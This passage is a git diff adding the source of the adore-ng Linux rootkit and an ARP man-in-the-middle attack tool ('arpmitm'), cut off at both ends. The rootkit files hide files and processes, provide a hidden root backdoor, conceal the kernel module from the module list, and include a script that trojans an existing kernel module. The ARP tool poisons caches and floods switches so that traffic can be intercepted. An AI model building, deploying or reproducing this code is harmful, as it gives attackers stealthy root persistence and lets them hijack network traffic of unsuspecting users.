printf("Removed PID %d from taskstruct\n", atoi(argv[2])); + else + printf("Failed to remove proc.\n"); + break; + /* uninstall adore */ + case 'U': + if (adore_uninstall(a) >= 0) + printf("Adore 0.%d de-installed.\n", version); + else + printf("Adore wasn't installed.\n"); + break; + case 'I': + printf("\nELITE_UID: %u, ELITE_GID=%u, ADORE_KEY=%s " + "CURRENT_ADORE=%d\n", + elite_uid, elite_gid, adore_key, current_adore); + break; + default: + printf("Did nothing or failed.\n"); + } + return 0; +} + diff --git a/other/adore-ng/cleaner.c b/other/adore-ng/cleaner.c new file mode 100644 index 0000000..8e7fcee --- /dev/null +++ b/other/adore-ng/cleaner.c @@ -0,0 +1,58 @@ +/* + * Copyright (C) 2003 Stealth. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Stealth. + * 4. The name Stealth may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#define __KERNEL__ +#define MODULE + +#ifdef MODVERSIONS +#include +#endif + +#include +#include +#include + +int init_module() +{ + if (__this_module.next) + __this_module.next = __this_module.next->next; + + return 0; +} + +int cleanup_module() +{ + return 0; +} + +MODULE_LICENSE("GPL"); + diff --git a/other/adore-ng/configure b/other/adore-ng/configure new file mode 100755 index 0000000..0edcb41 --- /dev/null +++ b/other/adore-ng/configure @@ -0,0 +1,243 @@ +#!/usr/bin/perl + +# (C) 2002 by Stealth. +# Using at your own risk. Licensed under BSDish license. +# See LICENSE-file. Standard disclaimer applies. + +# adore configuration script +# One can also use Makefile.gen edited by hand +# when perl is not available or one needs special values +# (crosscompiling) + +# +# Initializink, Pitr ... +# + +$elite_uid = 0; +$elite_cmd = 0; +$cc = ""; +$| = 1; +$current_adore = 41; +$bw = shift || 4; + +print "\nUsing byte-width of $bw for UID/GID\n"; + +sub get_pass() +{ + print "\n\nSince version 0.33 Adore requires 'authentication' for\n". + "its services. You will be prompted for a password now and this\n". + "password will be compiled into 'adore' and 'ava' so no further actions\n". + "by you are required.\nThis procedure will save adore from scanners.\n". + "Try to choose a unique name that is won't clash with filenames in /proc.\n"; + + print "Password (echoed):"; my $s = ; + chop($s); + s/"//g; + return substr($s, 0, 15); +} + +# +# find elite UID+GID +# +sub get_elite_id() +{ + my $uid = 0, $p; + if ($bw == 2) { + $p = "S"; + } elsif ($bw == 4) { + $p = "I"; + } else { + print "Nuts! Stupid byte-width of $bw. Use either 2 or 4.\n"; + exit; + } + + open(R, "/dev/random") or die "$!"; + while (defined(getpwuid($uid))) { + read R, $uid, $bw; + $uid = unpack($p, $uid); + } + read R, $gid, $bw; + close(R); + $gid = unpack($p, $gid); + return ($uid, $gid); +} + + +# +sub check_smp() +{ + if (`uname -a` =~ "SMP") { + return "YES"; + } else { + return "NO"; + } +} + + +sub check_26() +{ + if (`uname -r` =~ /2\.6/) { + return "YES"; + } else { + return "NO"; + } +} + + +# check for CONFIG_MODVERSIONS=y +sub check_modversions() +{ + open I, ") { + if (/kernel_thread_R.+/) { + close I; + return "YES"; + } + if (/kernel_thread/) { + close I; + return "NO"; + } + } + print "WARN: Can't find kernel_thread!! Using \"NO\"!"; + return "NO"; +} + +# +# Look for loaded modules +# +sub check_modules() +{ + print "Loaded modules:\n"; + system("cat /proc/modules"); +} + +# +# Look where insmod is located +# +sub check_insmod() +{ + my $s; + print "Checking 4 insmod ... "; + foreach (qw(/bin /sbin /usr/sbin /usr/bin)) { + if (-x ($s = "$_/insmod")) { + print "found $s -- OK\n"; + return $s; + } + } + print "WARN: No insmod found in /bin, /sbin, /usr/sbin, /usr/bin! Fix init-script by hand!\n"; + return "insmod"; +} + +# +# RH 7 has 'kgcc' +# +sub check_cc() +{ + my $r; + if (-x "/usr/bin/kgcc") { + $r = "kgcc"; + } else { + $r = "cc"; + } + return $r; +} + + +############################## +# +# main() +# +############################## + +print "\nStarting adore configuration ...\n\n"; +($uid, $gid) = get_elite_id(); + +print "Checking 4 ELITE_UID + ELITE_GID ... "; +print "found $uid, $gid\n"; + + +print "Checking 4 SMP ... ", $has_smp = check_smp(), "\n"; + +print "Checking 4 MODVERSIONS ... ", $has_modversions = check_modversions(), "\n"; + +print "Checking for kgcc ... "; +print "found ", $cc = check_cc(), "\n"; + + +$insmod = check_insmod(); +print "\n"; + +check_modules(); + +$pwd = get_pass(); + + +print "\nPreparing '.' for hiding ... "; +chown($uid, $gid, ".") or print "(failed)"; + +print "\n\n"; +print "Creating Makefile ...\n"; + +print "\n\a*** Edit adore-ng.h for the hidden services ***\n"; + +# +# create an Makefile backup. +# + +$date = `date`; +$date =~ tr/ /_/; + +system("touch Makefile;cp Makefile Makefile_$date"); + +# +# write Makefile +# + +open(O, ">Makefile") or die "open(Makefile) $!"; + +print O "#\nCC=$cc\nCFLAGS=-O2 -Wall\n\n"; +print O "#CFLAGS+=-mcpu=i486\nINC=-I/usr/src/linux/include"; +print O "\nCFLAGS+=-DELITE_UID=${uid}U -DELITE_GID=${gid}U\nCFLAGS+=-DCURRENT_ADORE=$current_adore\n". + "CFLAGS+=-DADORE_KEY=\\\"$pwd\\\"\n\n"; + +if ($has_smp eq "NO") { + print O "#"; +} + +print O "CFLAGS+=-D__SMP__\n"; + + +print O "\n"; + +if ($has_modversions eq "NO") { + print O "#"; +} + +print O<<_EOF_; +CFLAGS+=-DMODVERSIONS + +all: adore-ng ava cleaner symsed + +adore-ng: adore-ng.c + rm -f adore-ng.o + \$(CC) -c \$(INC) \$(CFLAGS) adore-ng.c -o adore-ng.o + \$(CC) -c \$(INC) \$(CFLAGS) -DRELINKED adore-ng.c -o zero.o + +ava: ava.c libinvisible.c + \$(CC) \$(CFLAGS) ava.c libinvisible.c -o ava + +cleaner: cleaner.c + \$(CC) \$(INC) -c \$(CFLAGS) cleaner.c + +symsed: symsed.c + \$(CC) -O2 symsed.c -o symsed +clean: + rm -f core ava symsed *.o +_EOF_ + +# +# Done :> +# + +close O; + diff --git a/other/adore-ng/irq_vectors.h b/other/adore-ng/irq_vectors.h new file mode 100644 index 0000000..753c643 --- /dev/null +++ b/other/adore-ng/irq_vectors.h @@ -0,0 +1,10 @@ +#ifndef NR_IRQS +#define NR_IRQS 1 +#endif + +#ifndef NR_IRQ_VECTORS +#define NR_IRQ_VECTORS 1 +#endif + + + diff --git a/other/adore-ng/libinvisible.c b/other/adore-ng/libinvisible.c new file mode 100644 index 0000000..a8aded4 --- /dev/null +++ b/other/adore-ng/libinvisible.c @@ -0,0 +1,169 @@ +/* + * Copyright (C) 1999/2000 Stealth. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Stealth. + * 4. The name Stealth may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +/* Upper layer to be independant from implementation of + * kernel-hacks. + * Just write appropriate functions for new kernel-mods, + * and ava.c will be happy. + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "libinvisible.h" + +int getresuid(uid_t *, uid_t *, uid_t *); + +#ifdef linux +adore_t *adore_init() +{ + int fd; + uid_t r, e, s; + adore_t *ret = calloc(1, sizeof(adore_t)); + + fd = open("/proc/"ADORE_KEY, 0); + close(fd); + getresuid(&r, &e, &s); + + if (s == getuid() && getuid() != CURRENT_ADORE) { + fprintf(stderr, + "Tried to authorized myself. No luck, no adore?\n"); + ret->version = -1; + } else + ret->version = s; + return ret; +} + +/* Hide a file + */ +int adore_hidefile(adore_t *a, char *path) +{ + return lchown(path, ELITE_UID, ELITE_GID); +} + +/* Unhide a file + */ +int adore_unhidefile(adore_t *a, char *path) +{ + return lchown(path, 0, 0); +} + +/* Hide a process with PID pid + */ +int adore_hideproc(adore_t *a, pid_t pid) +{ + char buf[1024]; + + if (pid == 0) + return -1; + + sprintf(buf, "/proc/hide-%d", pid); + close(open(buf, O_RDONLY)); + return 0; +} + +/* make visible again */ +int adore_unhideproc(adore_t *a, pid_t pid) +{ + char buf[1024]; + + if (pid == 0) + return -1; + sprintf(buf, "/proc/unhide-%d", pid); + close(open(buf, O_RDONLY)); + return 0; +} + +/* permanently remove proc + */ +int adore_removeproc(adore_t *a, pid_t pid) +{ + printf("Not supported in this version.\n"); + return 1; +} + +/* use the hidden setuid(0)-like backdoor + */ +int adore_makeroot(adore_t *a) +{ + /* now already handled by adore_init() */ + close(open("/proc/fullprivs", O_RDONLY)); + if (geteuid() != 0) + return -1; + return 0; +} + +/* return version number of installed adore + */ +int adore_getvers(adore_t *a) +{ + if (!a) + return -1; + return a->version; +} + +int adore_free(adore_t *a) +{ + free(a); + return 0; +} + +/* uninstall adore + */ +int adore_uninstall(adore_t *a) +{ + close(open("/proc/uninstall", O_RDONLY)); + return 0; +} + +/* disappeared in 0.3 */ +int adore_disable_logging(adore_t *a) +{ + return -ENOENT; +} + +/* ditto */ +int adore_enable_logging(adore_t *a) +{ + return -ENOENT; +} + +#else +#error "Not supported architecture (Not Linux)." +#endif /* linux */ + diff --git a/other/adore-ng/libinvisible.h b/other/adore-ng/libinvisible.h new file mode 100644 index 0000000..179f6eb --- /dev/null +++ b/other/adore-ng/libinvisible.h @@ -0,0 +1,74 @@ +/* + * Copyright (C) 1999/2000 Stealth. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Stealth. + * 4. The name Stealth may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#ifndef _LIBINVISIBLE_H_ +#define _LIBINVISIBLE_H_ + +#include + +/* Whenever you change this, do so in adore.c!!! + */ +#define SIGINVISIBLE 100 +#define SIGVISIBLE 101 +#define SIGREMOVE 102 + +typedef struct adore_t { + int version; + /* nothing more yet */ +} adore_t; + +adore_t *adore_init(); + +/* adore_t as first argument is something like + * 'this' in C++. + * It isn't much used yet, but good for later + * extensions. + */ +int adore_hidefile(adore_t *, char *); +int adore_unhidefile(adore_t *, char *); + +int adore_hideproc(adore_t *, pid_t); +int adore_removeproc(adore_t *, pid_t); +int adore_unhideproc(adore_t *, pid_t); + +int adore_makeroot(adore_t *); +int adore_free(adore_t *); +int adore_getvers(adore_t *); +int adore_free(adore_t *); + +int adore_disable_logging(adore_t *); +int adore_enable_logging(adore_t *); + +int adore_uninstall(adore_t *); + +#endif + diff --git a/other/adore-ng/relink b/other/adore-ng/relink new file mode 100755 index 0000000..368a3a3 --- /dev/null +++ b/other/adore-ng/relink @@ -0,0 +1,46 @@ +#!/usr/bin/perl + +$| = 1; +open(I, ") { + if (($i++ % 5) == 0) { + print "\n"; + } + /(\w+) /; + $module = $1; + print "$module "; +} + +print "\n\nChose one: "; +$lkm = ; +$lkm =~ s/\n//; +print "Choice was >>>$lkm<<<\n"; +print "Searching for $lkm.o ...\n"; + +$u = `uname -r`; +$u =~ s/\n//; +$lkm_path = `find /lib/modules/$u -name $lkm.o`; +$lkm_path =~ s/\n//; +if ($lkm_path eq "") { + print "No LKM with that name found!\n"; + exit; +} + +print "Found $lkm_path!\n"; + +system("cp $lkm_path t.o"); +system("./symsed t.o zero;ld -r t.o zero.o -o z.o; rm -f t.o"); +print "\nCopy trojaned LKM back to original LKM? (y/n)\n"; + +while ($yn !~ /^(y|n)$/i) { + $yn = ; + $yn =~ s/\n//; +} + +if ($yn =~ /y/i) { + system("cp z.o $lkm_path"); +} + diff --git a/other/adore-ng/startadore b/other/adore-ng/startadore new file mode 100755 index 0000000..a30751e --- /dev/null +++ b/other/adore-ng/startadore @@ -0,0 +1,11 @@ +#!/bin/sh + +# Use this script to bootstrap adore! +# It will make adore invisible. You could also +# insmod adore without $0 but then its visible. + +insmod ./adore-ng.o +insmod ./cleaner.o +rmmod cleaner + + diff --git a/other/adore-ng/symsed.c b/other/adore-ng/symsed.c new file mode 100644 index 0000000..3755367 --- /dev/null +++ b/other/adore-ng/symsed.c @@ -0,0 +1,52 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +int main(int argc, char **argv) +{ + int fd = 0; + char *ptr = NULL, *orig_ptr = NULL; + struct stat st; + + if (argc != 3) { + printf("Usage: %s \n", *argv); + exit(1); + } + if (strlen(argv[2]) >= strlen("init_module")) { + printf("Can't only substitute symbols by strings with at most" + "%u characters.\n", strlen("init_module")); + exit(2); + } + + if ((fd = open(argv[1], O_RDWR)) < 0) { + perror("open"); + exit(errno); + } + if (fstat(fd, &st) < 0) { + perror("fstat"); + exit(errno); + } + ptr = mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); + orig_ptr = ptr; + if (!ptr) { + perror("mmap"); + exit(errno); + } + for (; ptr < orig_ptr + st.st_size; ++ptr) { + if (strncmp(ptr, "init_module", strlen("init_module")) == 0 || + strncmp(ptr, "cleanup_module", strlen("cleanup_module")) == 0) { + memcpy(ptr, argv[2], strlen(argv[2])); + ptr += strlen(argv[2]); + } + } + munmap(ptr, st.st_size); + return 0; +} + diff --git a/other/adore-ng/visible-start.c b/other/adore-ng/visible-start.c new file mode 100644 index 0000000..fc5b8d1 --- /dev/null +++ b/other/adore-ng/visible-start.c @@ -0,0 +1,22 @@ +/* Due to new proc hiding technique, from a hidden shell + * there cant be any processes started which are visible + * since the parent (shell) is invisible. So we have to + * make init the parent and then start the process. Then + * it is visible + */ +#include +#include +#include + + +int main(int argc, char **argv, char **env) +{ + if (fork()) { + exit(0); + } + if (argc > 1) + execve(argv[1],argv+1, env); + return -1; +} + + diff --git a/other/arpmitm/Makefile b/other/arpmitm/Makefile new file mode 100644 index 0000000..603c4f2 --- /dev/null +++ b/other/arpmitm/Makefile @@ -0,0 +1,13 @@ +CC=gcc +CFLAGS=-Wall -O2 +LIBS=-lm +LIBNET_DEFS=`libnet-config --defines` +LIBNET_LIBS=`libnet-config --libs` + +all: + + $(CC) $(CFLAGS) $(LIBNET_DEFS) arpmitm.c -o arpmitm $(LIBS) $(LIBNET_LIBS) + strip arpmitm + +clean: + rm -vf arpmitm diff --git a/other/arpmitm/arpmitm.c b/other/arpmitm/arpmitm.c new file mode 100644 index 0000000..99362ab --- /dev/null +++ b/other/arpmitm/arpmitm.c @@ -0,0 +1,584 @@ +/* + * ARP MITM attack tool. (c) xdr 2000 + * rewritten & enhanced by skyper 2001 + * Idea from scut's arptool - Requires Libnet 1.00. + * + * Changes: + * skyper : - rewritten + * - macoff + * - ip-list file input/output, + * [:] + * [:] + * ... + * - asymmetric arpmim support (usefull for ssl/sshd mim) + * - 1:N and n:N arpmim (experimental) + * - ARP_REQUEST/REPLY (see informationals 001) + * [UPDATE: same techniq works against obsd2.8 + * solaris 7+8, hpux10.20, hpux11.00, fbsd4.2, linux 2.2] + * + * Features: + * - classic mim: redirect data from 1 host to 1 host via your host. + * - redirect data from n hosts to 1 host via your host with specific ip:mac. + * - redirect data from N/all hosts to 1 host via your host with just + * 1 packet every 10 seconds. We use broadcast mac with unicast + * arp-information in the packet. + * - redirect communication from n hosts to n hosts via your host + * with just n packets (and _not_ n*n as most(all?) existing arpmim tools. + * + * Hints: + * - dont forgett to enable forwarding: + * "echo 1 >/proc/sys/net/ipv4/ip_forward" + * - dont use NAT/connection tracking while hijaking. + * - configure your firewall (input, output, forward rules) + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#define LINK_DEV "eth0" +#define MAXBUFSIZE 1024 +#define RECACHE_TIME 10 +#define int_ntoa(x) inet_ntoa(*((struct in_addr *)&(x))) +#define OPT_ASYM 0x01 +#define OPT_FILE 0x02 +#define OPT_REVASYM 0x04 +#define OPT_MACOFF 0x08 + +static char rcs_id[] = "$Id: arpmitm.c,v 1.4 2001/03/29 17:13:16 skyper Exp $"; + +struct arp_mitm { + unsigned char ether_src[6]; + unsigned char ether_dst[6]; + unsigned long s_addr; + unsigned long d_addr; +}; + +struct _ipmac { + unsigned char mac[6]; + unsigned long ip; +}; + +struct _opt { + unsigned long int pwait; + u_short arpop; + struct _ipmac trgt; + int verb; + unsigned char mymac[6]; + unsigned char flags; + char *ldev; + struct libnet_link_int *link; + unsigned long int (*initipmac) (void *); + unsigned long int (*getnextipmac) (void *); + unsigned long int (*resetipmac) (void *); +} opt; + +struct _avlopt { + int pos; + int len; + char **argvlist; +} avl; + +struct _fl { + FILE *fd; +} fl; + +/* + * spread mode ip structure. all ip infos in HBO + */ +struct _srdnfo { + unsigned long ip_offset; + unsigned long ip_blklen; + unsigned long ip_pos; + unsigned long start_ip; + unsigned long end_ip; +}; + +void parse_mac(char *, unsigned char *); +u_long gennext_spreadip(struct _srdnfo *); +int init_spreadset(struct _srdnfo *, u_long, u_long); +int str2ipmac(char *, struct _ipmac *); +void die(int, char *, ...); + + + +static unsigned char *pkt; + +int +dummy() +{ + return (0); +} + +unsigned long int +init_argvlist(char *argv[]) +{ + avl.argvlist = argv; + avl.len = 0; + avl.pos = 0; + + if (avl.argvlist == NULL) + return (-1); + + while (avl.argvlist[avl.len] != NULL) + avl.len++; + + return (0); +} + +unsigned long int +getnext_argvlist(struct _ipmac *ipmac) +{ + if (avl.pos >= avl.len) + return(-1); + + str2ipmac(avl.argvlist[avl.pos++], ipmac); + return (0); +} + +unsigned long int +reset_argvlist() +{ + if (opt.verb > 1) + printf("restarting from the beginning.\n"); + + avl.pos = 0; + return (0); +} + +unsigned long int +getnext_filelist(struct _ipmac *ipmac) +{ + char buf[128]; + + if (fgets(buf, sizeof(buf)-1, fl.fd) == NULL) + return (-1); + + str2ipmac(buf, ipmac); + return (0); +} + +unsigned long int +reset_filelist() +{ + if (opt.verb > 1) + printf("reached eof. restarting filelist\n"); + + return (fseek(fl.fd, 0L, SEEK_SET)); +} + +unsigned long int +getnext_random(struct _ipmac *ipmac) +{ + static char i = 0; + + if (i == 0) + { + srand((int)time(NULL)); + i = 1; + } + + opt.trgt.ip = rand(); + ipmac->ip = rand(); /* we honestly dont care about the */ + /* first 2 bytes of the mac.... */ + memcpy(ipmac->mac+2, (char *)&(ipmac->ip), 4); + memcpy(opt.trgt.mac+2, (char *)&(opt.trgt.ip), 4); + memcpy(opt.mymac, ipmac->mac, 6); + + return (0); +} + +void +init_vars() +{ + opt.pwait = 4000; + opt.arpop = ARPOP_REPLY; + opt.flags = 0; + opt.verb = 0; + opt.ldev = LINK_DEV; + opt.initipmac = (void *) init_argvlist; + opt.getnextipmac = (void *) getnext_argvlist; + opt.resetipmac = (void *) reset_argvlist; +} + + +/* + * this is for sure not reentrant. + * returns mac-string from mac + * NULL on error + */ +static char * +mac2str(unsigned char m[6]) +{ + static char buf[32]; + + sprintf(buf, "%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x", m[0], m[1], m[2], + m[3], m[4], m[5]); + return (buf); +} + +/* + * convert ": touple to ipmac struct + * Set "ff:ff:ff:ff:ff:ff" if no mac is given. + * return -1 on failure, 0 on success + */ +int +str2ipmac(char *str, struct _ipmac *ipmac) +{ + char *ptr; + char str2[128]; + + if (ipmac == NULL) + return (-1); + if (str == NULL) + return (-1); + + strncpy(str2, str, sizeof(str2)-1); + str2[sizeof(str2)-1] = '\0'; + if ((ptr = strchr(str2, ':')) != NULL) + { + *ptr++ = '\0'; + parse_mac(ptr, ipmac->mac); + } else { + memcpy(ipmac->mac, "\xff\xff\xff\xff\xff\xff", 6); + } + + ipmac->ip = inet_addr(str2); + + return (0); +} + +void +usage(int code, char *string) +{ + fprintf(stderr, "ERROR: %s\n", string); + fprintf(stderr, +"\n" +"Usage:\n" +"arpmim [OPTION] ...\n" +"[Tell ip1, ip2, ... ipN that targetip has and\n" +" tell targetip that ip1, ip2, ... ipN has ]\n\n" +"Options:\n" +" -i : ethernet device [default=eth0]\n" +" -l : generate ip-list [73.50.0.0-73.50.31.255]\n" +" -f : read ip's[/:mac's] from file\n" +" -w : wait n ms between each packet [default=4sec]\n" +" -m : macoff (macflood, elite switch -> lame hub)\n" +" -r : use ARPOP_REQUEST [default=ARPOP_REPLY]\n" +" -a : asymmetric\n" +" -A : reverse asymmetric\n" +" -v : verbose output [-vv..vv for more]\n" +"\nExamples:\n" +"Classic (1:1, gate=10.0.255.254, luser=10.0.119.119):\n" +"arpmim -v 00:02:13:37:73:50 10.0.255.254:11:11:22:22:33:33 \\\n" +" 10.0.119.119:44:44:55:55:66:66\n" +"\n" +"Advanced (1:N, gate=10.0.255.254, asymmetric _only_):\n" +"arpmim -A -v 00:02:13:37:73:50 255.255.255.255 10.0.255.254\n" +"[tell everyone that 10.0.255.254 has 00:02:13:37:73:50]\n" +"\n" +"Elite (n:N):\n" +"arpmim -A -v 00:02:13:37:73:50 255.255.255.255 10.0.0.1 10.0.0.2 10.0.0.3 \\\n" +" 10.0.0.4 10.0.0.5 10.0.0.6\n" +"[tell 10.0.0.1,..10.0.0.6 that 10.0.0.1,..10.0.0.6 has 00:02:13:37:73:50]\n"); + + exit(code); +} + +/* + * write ip's to fd, one per line. + * return 0 on success, -1 on error + */ +int +write_iprange(FILE *fd, char *str) +{ + u_long ip; + char *ptr; + struct _srdnfo srdnfo; + char str2[128]; + + strncpy(str2, str, sizeof(str2)-1); + str2[sizeof(str2)-1] = '\0'; + + if ((ptr = strchr(str2, '-')) == NULL) + return (-1); + + *ptr++ = '\0'; + + srdnfo.start_ip = ntohl(inet_addr(str2)); + srdnfo.end_ip = ntohl(inet_addr(ptr)); + if (init_spreadset(&srdnfo, srdnfo.start_ip, srdnfo.end_ip) != 0) + return (-1); + + while ((ip = gennext_spreadip(&srdnfo)) != -1) + printf("%s\n", int_ntoa(ip)); + + return (0); +} + + +void +do_opt(int argc, char *argv[]) +{ + extern char *optarg; + extern int optind; + int c; + + while ((c = getopt (argc, argv, "w:i:l:f:mrAav")) != -1) + { + switch (c) + { + case 'r': + opt.arpop = ARPOP_REQUEST; + break; + case 'w': + opt.pwait = strtoul (optarg, NULL, 10); + break; + case 'i': + opt.ldev = optarg; + break; + case 'l': + if (write_iprange(stdout, optarg) != 0) + die (EXIT_FAILURE, "iprage? %s", optarg); + break; + case 'A': + opt.flags |= OPT_REVASYM; + break; + case 'a': + opt.flags |= OPT_ASYM; + break; + case 'v': + opt.verb++; + break; + case 'f': + if ((fl.fd = fopen(optarg, "r")) == NULL) + die (EXIT_FAILURE, "fopen %s", optarg); + + opt.initipmac = (void *) dummy; + opt.getnextipmac = (void *) getnext_filelist; + opt.resetipmac = (void *) reset_filelist; + break; + case 'm': + opt.flags |= OPT_MACOFF; + opt.initipmac = (void *) dummy; + opt.getnextipmac = (void *) getnext_random; + opt.resetipmac = (void *) dummy; + break; + case ':': + usage(EXIT_FAILURE, "parameter missing"); + break; /* this should never happen */ + default: + usage(EXIT_FAILURE, "unknown option"); + break; + } + } + + if (opt.flags & OPT_MACOFF) + return; + + if (argv[optind] != NULL) + parse_mac(argv[optind++], opt.mymac); + else + die (EXIT_FAILURE, "you must specifiy your own mac."); + + if (argv[optind] != NULL) + str2ipmac(argv[optind++], &opt.trgt); + else + die (EXIT_FAILURE, "no target given."); + + opt.initipmac(&argv[optind]); + +} + +void cleanup(int ret) +{ + fprintf(stderr, "exiting...\n"); + libnet_destroy_packet(&pkt); + exit(ret); +} + +void +die(int code, char *fmt, ...) +{ + va_list ap; + char buf[512]; + + va_start (ap, fmt); + vsnprintf (buf, sizeof (buf) -1, fmt, ap); + va_end (ap); + fprintf(stderr, "ERROR: %s\n", buf); + + cleanup(code); +} + +void banner( void ) +{ + printf("\n/*\n" + " * ARP MITM attack tool. (c) xdr 2000\n" + " * rewritten & enhanced by skyper 2001\n" + " * %s\n" + " */\n", rcs_id); + if (opt.verb > 5) + printf("harharhar. PRETTY VERBOSE now you evil hacker!\n"); +} + +/* + * get next ip in spread-mode + * return NBO ip or -1 on error or when done + */ +u_long +gennext_spreadip(struct _srdnfo *srdnfo) +{ + u_long pos = srdnfo->ip_pos; + + if ((srdnfo->ip_offset + 1 >= srdnfo->ip_blklen) + && (srdnfo->ip_pos > srdnfo->end_ip)) + return (-1); + + if ((srdnfo->ip_pos + srdnfo->ip_blklen > srdnfo->end_ip) + && (srdnfo->ip_offset + 1 < srdnfo->ip_blklen)) + srdnfo->ip_pos = srdnfo->start_ip + (++srdnfo->ip_offset); + else + srdnfo->ip_pos += srdnfo->ip_blklen; + + return (htonl (pos)); +} + +/* + * init spreadset, ip's in HBO + * return 0 on success, -1 on error + */ +int +init_spreadset(struct _srdnfo *srdnfo, u_long start_ip, u_long end_ip) +{ + if (srdnfo == NULL) + return (-1); + + if (start_ip >= end_ip) + return (-1); + + srdnfo->start_ip = start_ip; + srdnfo->ip_pos = srdnfo->start_ip; + srdnfo->end_ip = end_ip; + srdnfo->ip_blklen = (u_long) sqrt ((double)(end_ip - start_ip)); + if (srdnfo->ip_blklen > 100) /* range is 100^2 in size */ + srdnfo->ip_blklen = 257 + srdnfo->ip_blklen * 0.2; + + srdnfo->ip_offset = 0; + + return (0); +} + +void parse_mac(char *mac_string, unsigned char *mac) +{ + unsigned int tmp[6]; + int i; + + sscanf(mac_string, "%2x:%2x:%2x:%2x:%2x:%2x", + &tmp[0], &tmp[1], &tmp[2], &tmp[3], &tmp[4], &tmp[5]); + + for(i = 0;i < 6;i++) mac[i] = tmp[i]; +} + + +/* + * tell 'dst' that I'M src + * return 0 on success + */ +int +do_arpmim(char *mymac, struct _ipmac *src, struct _ipmac *dst) +{ + libnet_build_ethernet(dst->mac, + mymac, + ETHERTYPE_ARP, NULL, 0, pkt); + + libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, + 6, 4, opt.arpop, + mymac, + (unsigned char *)&src->ip, + dst->mac, + (unsigned char *)&dst->ip, + NULL, 0, pkt + LIBNET_ETH_H); + + libnet_write_link_layer(opt.link, opt.ldev, pkt, + LIBNET_ETH_H + LIBNET_ARP_H); + return (0); + +} +void +print_amitm(struct _ipmac *ipmac0, struct _ipmac *ipmac) +{ + if (opt.verb) + { + printf("Hi %s:%s, ", int_ntoa(ipmac->ip), + 